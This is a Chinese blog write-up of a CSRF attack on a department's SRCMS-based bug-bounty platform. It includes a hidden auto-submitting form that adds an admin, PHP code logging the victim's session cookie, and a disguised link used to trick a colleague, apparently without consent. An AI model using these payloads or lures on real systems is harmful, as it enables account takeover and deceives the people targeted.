#0x00 前言
部门src运行一年多,一直没有仔细研究过它的安全问题,恰逢前两天爆出thinkphp5.xGetshell漏洞,小小研究了一波,小有所得的同时,想起部门src网站貌似用的也是thinkphp,于是终于将黑手伸向了部门网站。
#0x01 利用图片信息锁定github地址
初期进展很不顺利,部门网站用的并不是thinkphp5.x,用的thinkphp3.2.3版本,thinkphp几个版本在代码上差异极大,这个版本在网上可以找到几个关于注入的漏洞,然而利用条件比较严格,一时难以入手。
心灰意冷之际,一次偶然的灵机一动,想到不擅代码的前辈怎么能写出这么完整的网站呢,怎么有耐心写出这么完整的网站呢。
不会是照搬的吧,应该就是照搬的吧,肯定是照搬的吧。
既然是照搬的,如果我能找到它的源码然后自己部署测试就好了。
于是,本着寻找源头的目的,我开始翻翻捡捡网站在前端显示的代码。
前端代码能暴露的东西极少,我奢望着能在一些小页面找到容易被忽略的注释之类,然而并没有找到。不仅如此,前辈对网站处理的已经相当完善,替换了Logo、更改了title、部门介绍,一些细节都考虑到位。
即便没有显眼的字段能帮助我,也不是说就毫无办法。得益于如今高效的搜索引擎,一些特殊的,唯一性的代码段在某些情况下都可以用来“暴露身份”。
比方说入口页面的背景图片:
admin.php的背景图片:
网站的使用者在二次部署网站时,第一个想到的是能够将网站正常跑起来,然后想到的时扔掉一些原本的印记换上自己的标签,至于这些无关紧要的背景图片,看着不难看就行,干嘛要费事换掉呢。
然后就是这些没必要换掉的,名字或者路径看起来很有特征感的图片,可以让我一下子锁定源头(https://github.com/martinzhou2015/SRCMS/issues)。
#0x02 利用项目未修复的漏洞
找到了项目地址,后面就可以自己部署环境尽情测试了。
看了一下部署方法,果然很是easy。
项目跑起来后,测试了一番,除了找到个明显的会话固定,并没有找到其他有意思的东西(好吧,承认测试的时候我是一边看直播一边测试的=。=)
然后翻了翻代码,3.2.3版本的几个洞貌似都是用不上,难道就止步于此了么。
回来翻github,发现作者已经发布了新版本,旧版本是很久没更新了,突然想到可以去看看项目其他人提出的issue,说不定会有些好的思路。
咦~~~
CSRF四个字母让我眼前一亮。
问题提出者也没多说,直接贴了两个html在上面。
add_admin.html:
<html> <form action="http://127.0.0.1/admin.php?m=Admin&c=manager&a=add" method="post"> <div class="form-group"> <label>用户名</label> <input class="form-control" type="text" name="username" value="csrf"> </div> <div class="form-group"> <label>邮箱</label> <input class="form-control" type="text" name="email" value="csrf@test.com"> </div> <div class="form-group"> <label>密码</label> <input class="form-control" type="password" name="password" value="123456"> </div> <div class="form-group"> <label>确认密码</label> <input class="form-control" type="password" name="repassword" value="123456"> </div> <div class="form-group"> <button class="btn btn-success" type="submit" >添加</button> </div> </form> </html>
add_user.html:
<html> <form action="http://127.0.0.1/admin.php?m=Admin&c=member&a=add" method="post"> <div class="form-group"> <label>用户名</label> <input class="form-control" type="text" name="username" value="test"> </div> <div class="form-group"> <label>邮箱</label> <input class="form-control" type="text" name="email" value="test@test.com"> </div> <div class="form-group"> <label>密码</label> <input class="form-control" type="password" name="password" value="123456"> </div> <div class="form-group"> <label>确认密码</label> <input class="form-control" type="password" name="repassword" value="123456"> </div> <div class="form-group"> <label>用户等级</label> <label class="radio-inline"> <input type="radio" name="type" id="type" value="1" >路人 </label> <label class="radio-inline"> <input type="radio" name="type" id="type" value="2" >实习白帽子 </label> <label class="radio-inline"> <input type="radio" name="type" id="type" value="3" >普通白帽子 </label> <label class="radio-inline"> <input type="radio" name="type" id="type" checked="checked" value="4" >核心白帽子 </label> </div> <div class="form-group"> <label>用户状态</label> <label class="radio-inline"> <input type="radio" name="status" id="status" value="0">禁止登陆 </label> <label class="radio-inline"> <input type="radio" name="status" id="status" value="1" checked="checked">正常 </label> </div> <div class="form-group"> <button class="btn btn-success" type="submit" >添加</button> </div> </form> </html>
懂CSRF的人看到两个页面的瞬间就应该明白了。这确实是“有点意思”的漏洞了。
项目作者也在下面答复说,已经注意到这个问题,会在下个版本解决。
那么这个版本问题是还在的咯,我怀着激动的心情赶紧测试了一波,好的吧,果然这个漏洞还在。从删除普通数据,到添加管理员,利用的好的话,可以坑前辈一波,嘿嘿嘿。
#0x03 论如何让前辈点击我的恶意链接
漏洞有了,小目标定下来了,接下里就要开始搞事情了。
我的计划是利用csrf拿到一个管理员权限。
大体流程就是,前辈要登陆平台,然后点击了我的一个恶意链接,我提前构造后的页面会提交一个post请求来添加一个管理员。
满足这样条件的场景是什么呢,在一个src平台还能是什么呢,当然就是审核漏洞。
网站使用的是Ueditor编辑器(可惜不是iis版,不然有个漏洞可以玩一下),网页编辑器是支持修改源代码的,当然基本的xss过滤做的很完善了,但是对于我提交的外链,它是不会过滤的,而对于我插入了一个和文本显示的完全不一样的外链链接,它还是不会过滤的。
比方说这样:
<p> <a href="https://woaichitang.com/wahaha">https://www.huya.com/myfollow</a> </p>
谁会去左下角看一眼吗,反正我不会。
这样的话,我只要提交一个比较吸引人的漏洞,吸引前辈点击链接就完事了。
PS:
后来,一个小伙伴,提出了一个图片xss的思路,利用审核漏洞时,会自动加载<img src="xxx"标签的情景,把csrf页面写在图片标签里,也可以触发csrf,而且更加稳定快捷,不过缺点在于只能提交get类型的请求。(不过在这个应用里已经可以做到删除除管理员外的其他数据,造成相当大的破坏了)
#0x04 构造csrf恶意页面
Poc代码就用大佬的那个html,但还要经过一些修改。
首先作为追求完美的处女座,让人点击链接然后眼睁睁看着页面显示添加用户成功这种操作实在太有辱艺术了。我们追求的是无感知,追求的是高效,优雅,零延时。
于是首先页面上的这些字段和按钮是不能要了,而且点击按钮要改成通过js自动提交。
然后我发现,如果直接提交post请求,页面会转到Post请求后服务器的返回页,影响我后面的代码执行,于是用了个空白iframe做Post的target。
为了不被发现,我在提交post请求后,是要跳转到原本要前往的页面,所以用了个window.location.href做跳转,考虑到要在执行Post后再跳转,涉及到函数的执行顺序问题,我发现这里怎么处理都不太好,保证了函数的执行顺序也无法保证post请求会在页面跳转之前,于是干脆做了个延时1秒执行(求指教更好的方法)。
<html> <iframe name="nm_iframe" style="display:none;"></iframe> <form id="test_form" action="http://xxxxxxxxx/admin.php?m=Admin&c=manager&a=add" method="post" target="nm_iframe"> <div class="form-group"> <input class="form-control" type="hidden" name="username" value="csrf"> </div> <div class="form-group"> <input class="form-control" type="hidden" name="email" value="csrf@test.com"> </div> <div class="form-group"> <input class="form-control" type="hidden" name="password" value="123456"> </div> <div class="form-group"> <input class="form-control" type="hidden" name="repassword" value="123456"> </div> </form> <script type="text/javascript"> test_form.submit(); function hello(){ window.location.href="https://www.anquanke.com/vul/id/1067740"; } setTimeout(hello,1) </script> </html>
再之后为了做的更逼真,防止页面再次跳转时的差异过大,还加上了个和跳转页一模一样的title。
然后考虑到,我想记录下大佬的操作时间和操作账号(恶作剧成功的瞬间一定要拍照留念=。=),于是干脆把页面改成了Php,并把页面放在了应用的同服务器上以便记录cookie(不要问我为什么有服务器权限还要做这么麻烦的事情)。
补上记录时间和cookie的代码:
<?php file_put_contents('result.txt',$_COOKIE['PHPSESSID']." ".date('Y-m-d H:i:s',time())." position 2"."\n",FILE_APPEND); ?>
后面打下PHPSESSID就可以去找对应session的信息作为证据。
#0x05 得偿夙愿
所谓万事俱备,只欠东风。我现在只缺一个让人有点击欲望的链接了。
无奈啊无奈,最近的项目是一个被搞过几遍的老项目,我特意花了一下午翻了几圈,也就找了个低危漏洞,抱着撞大运的心态提交了上去,我还特意放了4个链接在上面,前辈果然是一看低危直接pass了。(如果不放验证图片的话应该可以提高点击的可能性,不过怕做的过火暴露了)
于是,这样一周过去了,始终被事情做了一半没个结果卡住的我,终于又找到一个内网重要应用的dos漏洞提交了上去,这次只放了个带结果的图片,但是没有把漏洞Poc直接贴出来,想看poc就得点我的链接。。。
然后,就坐等前辈审核漏洞了。当天下午,终于成功拿下了目标。
PS:也发生了点小波折,因为我设定的路径是直接通过Ip访问的,前辈用的应该是域名,而域名访问指向的是内网一个软件waf,然后做nginx跳转,两者访问的权限不同步,所以我第一波只抓到了访问时间和触发点,没留下cookie和触发csrf。后面的是我修补后的(实在是不想再拖下去了,呜呜,反正前辈已经是触发了,而且没发现异常)
#0x06 潜在的暴露可能和漏洞修补
后面拿下管理员后实在时没找到继续拿shell的方法,感觉自己真是弱渣。
要发现这个链接的异常,一个是通过上面提到的左下角链接地址显示的和页面显示的不同。第二是,我的请求会在一秒左右的时间有一个跳转,期间页面是空白的,最主要的破绽在Url处,有个很明显的变化,当然我自己在不知情的情况下也未必关注到这一点。
修补的话,就照正常的修补csrf的方法修复,漏洞的触发处外链xss和图片xss都是依赖csrf达成价值,本身我并不认为需要当作漏洞去处理,建议后面给csrf补上token验证。